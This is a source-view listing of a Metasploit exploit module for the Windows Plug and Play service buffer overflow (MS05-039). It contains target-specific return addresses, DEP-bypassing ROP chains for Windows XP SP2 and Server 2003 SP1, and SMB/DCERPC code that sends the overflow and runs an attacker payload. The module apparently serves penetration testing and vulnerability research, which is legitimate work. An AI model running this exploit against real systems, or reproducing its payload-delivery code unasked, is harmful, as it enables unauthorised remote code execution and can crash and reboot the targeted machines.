root / modules / exploits / windows / smb / ms05_039_pnp.rb @ master
History | View | Annotate | Download (15.7 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GoodRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::DCERPC |
| 18 |
include Msf::Exploit::Remote::SMB |
| 19 |
|
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'Microsoft Plug and Play Service Overflow', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a stack buffer overflow in the Windows Plug |
| 26 |
and Play service. This vulnerability can be exploited on |
| 27 |
Windows 2000 without a valid user account. |
| 28 |
|
| 29 |
NOTE: Since the PnP service runs inside the service.exe process, a failed |
| 30 |
exploit attempt will cause the system to automatically reboot. |
| 31 |
},
|
| 32 |
'Author' => [ 'hdm', 'cazz' ], |
| 33 |
'License' => MSF_LICENSE, |
| 34 |
'Version' => '$Revision$', |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
[ 'CVE', '2005-1983' ], |
| 38 |
[ 'OSVDB', '18605' ], |
| 39 |
[ 'BID', '14513' ], |
| 40 |
[ 'MSB', 'MS05-039' ], |
| 41 |
[ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/' ] |
| 42 |
], |
| 43 |
'DefaultOptions' =>
|
| 44 |
{
|
| 45 |
'EXITFUNC' => 'thread', |
| 46 |
}, |
| 47 |
'Privileged' => true, |
| 48 |
'Payload' =>
|
| 49 |
{
|
| 50 |
'Space' => 1000, |
| 51 |
'BadChars' => "\x00", |
| 52 |
'Compat' =>
|
| 53 |
{
|
| 54 |
# -ws2ord XXX?
|
| 55 |
}, |
| 56 |
'StackAdjustment' => -3500, |
| 57 |
}, |
| 58 |
'Platform' => 'win', |
| 59 |
'Targets' =>
|
| 60 |
[ |
| 61 |
[ |
| 62 |
'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm |
| 63 |
{
|
| 64 |
'Ret' => 0x767a38f6, # umpnpmgr.dll |
| 65 |
}, |
| 66 |
], |
| 67 |
[ |
| 68 |
'Windows 2000 SP4 French',
|
| 69 |
{
|
| 70 |
'Ret' => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com> |
| 71 |
}, |
| 72 |
], |
| 73 |
[ |
| 74 |
'Windows 2000 SP4 Spanish',
|
| 75 |
{
|
| 76 |
'Ret' => 0x767738f6, # umpnpmgr.dll |
| 77 |
}, |
| 78 |
], |
| 79 |
[ |
| 80 |
'Windows 2000 SP4 English/French/German/Dutch',
|
| 81 |
{
|
| 82 |
'Ret' => 0x01013C79, # [Pita] [Houmous] <pita@mail.com> |
| 83 |
}, |
| 84 |
], |
| 85 |
[ |
| 86 |
'Windows 2000 SP0-SP4 German',
|
| 87 |
{
|
| 88 |
'Ret' => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de> |
| 89 |
}, |
| 90 |
], |
| 91 |
[ |
| 92 |
'Windows 2000 SP0-SP4 Italian',
|
| 93 |
{
|
| 94 |
'Ret' => 0x7677366f, # acaro <acaro@jervus.it> |
| 95 |
}, |
| 96 |
], |
| 97 |
[ |
| 98 |
'Windows XP SP1 English',
|
| 99 |
{
|
| 100 |
'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.1106 |
| 101 |
'Pipe' => 'ntsvcs', |
| 102 |
'Offset' => 16, |
| 103 |
} |
| 104 |
], |
| 105 |
# NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access
|
| 106 |
# the vulnerable functionality.
|
| 107 |
[ |
| 108 |
'Windows XP SP2 English (Requires Admin)',
|
| 109 |
# SafeSEH enabled, DEP AlwaysOn
|
| 110 |
{
|
| 111 |
#'Ret' => 0x41424344,
|
| 112 |
'Ret' => 0x758d2bb3, # pop eax / ret 0x8 |
| 113 |
'Pipe' => 'ntsvcs', |
| 114 |
'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.2180 |
| 115 |
'Offset' => 72, |
| 116 |
'EspOffset' => 108, |
| 117 |
'RopStack' =>
|
| 118 |
# All addresses are from umpnpmgr.dll v5.2.3790.1830
|
| 119 |
[ |
| 120 |
#
|
| 121 |
# Step 1. Allocate an executable heap with HeapCreate
|
| 122 |
#
|
| 123 |
# Resolve HeapCreate from import
|
| 124 |
0x758c1148, # pointer to HeapCreate import |
| 125 |
0x758c2950, # mov eax, [eax] / pop ebp / ret 0x8 |
| 126 |
0x41414141, # scratch |
| 127 |
0x41414141, # scratch |
| 128 |
#0x758da008, # becomes ebp (something writable)
|
| 129 |
0x758da1c8-0xc, # becomes ebp (writable, used later) |
| 130 |
|
| 131 |
# Call HeapCreate
|
| 132 |
0x758cb728, # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc |
| 133 |
0x41414141, # scratch |
| 134 |
0x41414141, # scratch |
| 135 |
0x01040110, # flOptions (gets & with 0x40005) |
| 136 |
0x01010101,
|
| 137 |
0x01010101,
|
| 138 |
0x758ce552, # becomes edi - pop edi,esi / ret |
| 139 |
0x758cdd7e, # becomes esi - pop esi,ebx,ebp / ret 0x4 |
| 140 |
0x41414141, # becomes ebx |
| 141 |
0x41414141, # becomes ebp |
| 142 |
|
| 143 |
# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
|
| 144 |
0x758d45f3, # or eax,0x8000 / pop ebp / ret 0x4 |
| 145 |
0x41414141, # scratch |
| 146 |
0x41414141, # scratch |
| 147 |
0x41414141, # scratch |
| 148 |
0x41414141, # becomes ebp |
| 149 |
|
| 150 |
# save eax to ebx
|
| 151 |
0x758ce0d5, # push eax / call esi |
| 152 |
0x41414141, # scratch |
| 153 |
0x758da008+0x18, # becomes ebp |
| 154 |
|
| 155 |
# Setup eax to load our saved stack pointer
|
| 156 |
0x758d18db, # pop eax / ret 0xc |
| 157 |
0x41414141, # scratch |
| 158 |
0x758c524e, # becomes eax - pop ebp / ret 0x8 |
| 159 |
#0x758c2423, # becomes eax - pop esi,ebp / ret 0x8
|
| 160 |
|
| 161 |
# Store a pointer to the stack to a known address (ebp-0x18), flows to eax after
|
| 162 |
0x758c1281, # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret |
| 163 |
0x41414141, # scratch |
| 164 |
0x41414141, # scratch |
| 165 |
0x41414141, # scratch |
| 166 |
#0xcafebabe, # becomes esi
|
| 167 |
0x758da008-0x10, # becomes ebp |
| 168 |
|
| 169 |
# Call lstrcpyW to copy shellcode into executable heap
|
| 170 |
0x758c542e, # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi |
| 171 |
0x41414141, # scratch |
| 172 |
0x41414141, # scratch |
| 173 |
|
| 174 |
# Skip the junk
|
| 175 |
0x758c96f6, # add al,0x3b / ret |
| 176 |
|
| 177 |
# Call the executable segment!
|
| 178 |
0x758c3b62 # call eax |
| 179 |
] |
| 180 |
} |
| 181 |
], |
| 182 |
[ |
| 183 |
'Windows Server 2003 SP0 English (Requires Admin)',
|
| 184 |
# SafeSEH unsupported, DEP unsupported
|
| 185 |
{
|
| 186 |
'Ret' => 0x780df756, # push esp / ret in msvcp60.dll |
| 187 |
'Pipe' => 'ntsvcs', |
| 188 |
'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll |
| 189 |
'Offset' => 72, |
| 190 |
} |
| 191 |
], |
| 192 |
[ |
| 193 |
'Windows Server 2003 SP1 English (Requires Admin)',
|
| 194 |
# SafeSEH enabled, DEP AlwaysOn
|
| 195 |
{
|
| 196 |
'Pipe' => 'ntsvcs', |
| 197 |
# We will need to bypass DEP!
|
| 198 |
#'Ret' => 0x41424344,
|
| 199 |
'Ret' => 0x757873d5, # pop eax / ret 0x4 |
| 200 |
'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll |
| 201 |
'Offset' => 72, # offset to saved eip |
| 202 |
'EspOffset' => 108, # Offset to where esp ends up pointing |
| 203 |
'RopStack' => # NOTE: 0x41414141 will become random data |
| 204 |
# All addresses are from umpnpmgr.dll v5.2.3790.1830
|
| 205 |
[ |
| 206 |
#
|
| 207 |
# Step 1. Allocate an executable heap with HeapCreate
|
| 208 |
#
|
| 209 |
# Resolve HeapCreate from import
|
| 210 |
0x75771144, # pointer to HeapCreate import |
| 211 |
0x75772e68, # mov eax, [eax] / pop ebp / ret |
| 212 |
0x41414141, # scratch |
| 213 |
0x41414141, # becomes ebp |
| 214 |
# Call HeapCreate
|
| 215 |
0x7578bc37, # jmp eax |
| 216 |
0x41414141, # scratch |
| 217 |
0x41414141, # scratch |
| 218 |
# Save the new heap address in edi
|
| 219 |
0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10 |
| 220 |
0x01040110, # flOptions (gets & with 0x40005) |
| 221 |
0x01010101,
|
| 222 |
0x01010101,
|
| 223 |
|
| 224 |
#
|
| 225 |
# Step 2. Allocate a buffer using this new heap.
|
| 226 |
#
|
| 227 |
0x757873d5, # pop eax / ret 0x4 |
| 228 |
0x41414141, # scratch |
| 229 |
0x41414141, # scratch |
| 230 |
0x41414141, # scratch |
| 231 |
0x41414141, # scratch |
| 232 |
# Resolve HeapAlloc from import
|
| 233 |
0x7577115c, # pointer to HeapAlloc import |
| 234 |
0x75772e68, # mov eax, [eax] / pop ebp / ret |
| 235 |
0x41414141, # scratch |
| 236 |
0x41414141, # becomes ebp |
| 237 |
# Save the address of HeapAlloc in esi
|
| 238 |
0x75777ae0, # xchg eax,esi / mov dl,0xff / dec ecx / ret |
| 239 |
0x41414141, # scratch |
| 240 |
0x41414141, # scratch |
| 241 |
# Call HeapAlloc
|
| 242 |
0x7578bb6b, # push edi / call esi / pop edi,esi,ebp / ret |
| 243 |
0xffffffff, # flags |
| 244 |
0x00010001, # allocation size |
| 245 |
0x0101018d, # becomes edi / first byte stored |
| 246 |
0x7577835c, # becomes esi - pop esi / pop ebx / ret |
| 247 |
0x757830c3, # becomes ebp/eip - pop esi / ret |
| 248 |
|
| 249 |
#
|
| 250 |
# Step 3. Save the heap address into ebx
|
| 251 |
#
|
| 252 |
0x7578308f, # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi |
| 253 |
0x41414141, # scratch |
| 254 |
# Put heap address in edi
|
| 255 |
0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10 |
| 256 |
|
| 257 |
#
|
| 258 |
# Step 4. Write stub:
|
| 259 |
#
|
| 260 |
# metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:
|
| 261 |
# "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"
|
| 262 |
#
|
| 263 |
# Store the first byte.
|
| 264 |
0x7578be14, # stosb / ret |
| 265 |
0x41414141, # scratch |
| 266 |
0x41414141, # scratch |
| 267 |
0x41414141, # scratch |
| 268 |
0x41414141, # scratch |
| 269 |
# Store another byte!
|
| 270 |
0x757873d5, # pop eax / ret 0x4 |
| 271 |
0x01010174, # next byte to write |
| 272 |
0x7578be14, # stosb / ret |
| 273 |
0x41414141, # scratch |
| 274 |
# Store another byte!
|
| 275 |
0x757873d5, # pop eax / ret 0x4 |
| 276 |
0x01010124, # next byte to write |
| 277 |
0x7578be14, # stosb / ret |
| 278 |
0x41414141, # scratch |
| 279 |
# Store another byte!
|
| 280 |
0x757873d5, # pop eax / ret 0x4 |
| 281 |
0x01010104, # next byte to write |
| 282 |
0x7578be14, # stosb / ret |
| 283 |
0x41414141, # scratch |
| 284 |
# Store another byte!
|
| 285 |
0x757873d5, # pop eax / ret 0x4 |
| 286 |
0x010101ac, # next byte to write |
| 287 |
0x7578be14, # stosb / ret |
| 288 |
0x41414141, # scratch |
| 289 |
# Store another byte!
|
| 290 |
0x757873d5, # pop eax / ret 0x4 |
| 291 |
0x01010184, # next byte to write |
| 292 |
0x7578be14, # stosb / ret |
| 293 |
0x41414141, # scratch |
| 294 |
# Store another byte!
|
| 295 |
0x757873d5, # pop eax / ret 0x4 |
| 296 |
0x010101c0, # next byte to write |
| 297 |
0x7578be14, # stosb / ret |
| 298 |
0x41414141, # scratch |
| 299 |
# Store another byte!
|
| 300 |
0x757873d5, # pop eax / ret 0x4 |
| 301 |
0x01010174, # next byte to write |
| 302 |
0x7578be14, # stosb / ret |
| 303 |
0x41414141, # scratch |
| 304 |
# Store another byte!
|
| 305 |
0x757873d5, # pop eax / ret 0x4 |
| 306 |
0x01010103, # next byte to write |
| 307 |
0x7578be14, # stosb / ret |
| 308 |
0x41414141, # scratch |
| 309 |
# Store another byte!
|
| 310 |
0x757873d5, # pop eax / ret 0x4 |
| 311 |
0x010101aa, # next byte to write |
| 312 |
0x7578be14, # stosb / ret |
| 313 |
0x41414141, # scratch |
| 314 |
# Store another byte!
|
| 315 |
0x757873d5, # pop eax / ret 0x4 |
| 316 |
0x010101eb, # next byte to write |
| 317 |
0x7578be14, # stosb / ret |
| 318 |
0x41414141, # scratch |
| 319 |
# Store another byte!
|
| 320 |
0x757873d5, # pop eax / ret 0x4 |
| 321 |
0x010101f8, # next byte to write |
| 322 |
0x7578be14, # stosb / ret |
| 323 |
0x41414141, # scratch |
| 324 |
|
| 325 |
#
|
| 326 |
# Step 5. Finally, call our executable heap buffer.
|
| 327 |
#
|
| 328 |
0x75783efe # call ebx |
| 329 |
] |
| 330 |
} |
| 331 |
] |
| 332 |
], |
| 333 |
'DefaultTarget' => 0, |
| 334 |
'DisclosureDate' => 'Aug 9 2005')) |
| 335 |
|
| 336 |
register_options( |
| 337 |
[ |
| 338 |
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']), |
| 339 |
], self.class)
|
| 340 |
|
| 341 |
end
|
| 342 |
|
| 343 |
def pnp_probe(req, pipe = datastore['SMBPIPE']) |
| 344 |
|
| 345 |
print_status("Connecting to the SMB service...")
|
| 346 |
begin
|
| 347 |
connect() |
| 348 |
smb_login() |
| 349 |
rescue ::Exception => e |
| 350 |
print_error("Error: #{e.class} #{e}")
|
| 351 |
end
|
| 352 |
|
| 353 |
handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"]) |
| 354 |
print_status("Binding to #{handle} ...")
|
| 355 |
dcerpc_bind(handle) |
| 356 |
print_status("Bound to #{handle} ...")
|
| 357 |
|
| 358 |
# CS_DES
|
| 359 |
cs_des = |
| 360 |
NDR.long(0) + # CSD_SignatureLength |
| 361 |
NDR.long(0) + # CSD_LegacyDataOffset |
| 362 |
NDR.long(req.length) + # CSD_LegacyDataSize |
| 363 |
NDR.long(0) + # CSD_Flags |
| 364 |
rand_text(16) + # GUID |
| 365 |
req # CSD_LegacyData
|
| 366 |
|
| 367 |
# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
|
| 368 |
|
| 369 |
# ResourceName:
|
| 370 |
stubdata = |
| 371 |
NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID |
| 372 |
NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific |
| 373 |
NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure) |
| 374 |
NDR.long(cs_des.length) + # ResourceLen |
| 375 |
NDR.long(4) + # OutputLen (at least 4) |
| 376 |
NDR.long(0) # Flags |
| 377 |
|
| 378 |
print_status("Calling the vulnerable function...")
|
| 379 |
|
| 380 |
begin
|
| 381 |
dcerpc.call(0x36, stubdata)
|
| 382 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse |
| 383 |
print_status('Server did not respond, this is expected')
|
| 384 |
rescue => e
|
| 385 |
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ |
| 386 |
print_status('Server disconnected, this is expected')
|
| 387 |
else
|
| 388 |
raise e |
| 389 |
end
|
| 390 |
end
|
| 391 |
|
| 392 |
# Cleanup
|
| 393 |
disconnect |
| 394 |
|
| 395 |
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and |
| 396 |
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
|
| 397 |
return true |
| 398 |
else
|
| 399 |
return false |
| 400 |
end
|
| 401 |
end
|
| 402 |
|
| 403 |
def check |
| 404 |
if (pnp_probe('A')) |
| 405 |
return Exploit::CheckCode::Vulnerable |
| 406 |
end
|
| 407 |
return Exploit::CheckCode::Safe |
| 408 |
end
|
| 409 |
|
| 410 |
def exploit |
| 411 |
# If PtrToZero is set, we use saved-ret-overwrite instead of SEH.
|
| 412 |
if target['PtrToZero'] then |
| 413 |
eip_off = target['Offset']
|
| 414 |
nul_off = eip_off + 8
|
| 415 |
|
| 416 |
# DEP Bypass version (2003 SP1)
|
| 417 |
if target['RopStack'] |
| 418 |
esp_off = target['EspOffset']
|
| 419 |
|
| 420 |
# Start with a randomized base buffer
|
| 421 |
rop_length = target['RopStack'].length * 4 |
| 422 |
print_status("ROP Data is %u bytes" % rop_length)
|
| 423 |
buf = rand_text(esp_off + rop_length) |
| 424 |
|
| 425 |
# Put the rest of the stack data at where esp ends up...
|
| 426 |
target['RopStack'].each_with_index { |el,idx|
|
| 427 |
if el != 0x41414141 |
| 428 |
buf[esp_off + (idx*4), 4] = [el].pack('V') |
| 429 |
end
|
| 430 |
} |
| 431 |
else
|
| 432 |
# Start with a randomized base buffer
|
| 433 |
buf = rand_text(nul_off) |
| 434 |
end
|
| 435 |
|
| 436 |
# This becomes EIP
|
| 437 |
buf[eip_off,4] = [target.ret].pack('V') |
| 438 |
|
| 439 |
# Pointer to NULL (4 zero bytes)
|
| 440 |
buf[nul_off,4] = [target['PtrToZero']].pack('V') |
| 441 |
else
|
| 442 |
# Pad the string up to reach our SEH frame
|
| 443 |
buf = rand_text(target['Offset'] ? target['Offset'] : 56) |
| 444 |
|
| 445 |
# Jump over the address and our invalid pointer to the payload
|
| 446 |
buf << Rex::Arch::X86.jmp_short('$+32') |
| 447 |
buf << rand_text(2)
|
| 448 |
|
| 449 |
# The SEH handler pointer
|
| 450 |
buf << [target.ret].pack('V')
|
| 451 |
|
| 452 |
# Some padding to reach the next pointer
|
| 453 |
buf << rand_text(20)
|
| 454 |
|
| 455 |
# ResourceName - cause access violation on RtlInitUnicodeString
|
| 456 |
buf << rand_text(3) + "\xff" |
| 457 |
end
|
| 458 |
|
| 459 |
# Append the encoded payload and we are good to go!
|
| 460 |
buf << payload.encoded |
| 461 |
|
| 462 |
# Determine which pipe to use
|
| 463 |
pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE'] |
| 464 |
|
| 465 |
pnp_probe(buf, pipe) |
| 466 |
|
| 467 |
print_status('The server should have executed our payload')
|
| 468 |
|
| 469 |
handler |
| 470 |
end
|
| 471 |
|
| 472 |
end
|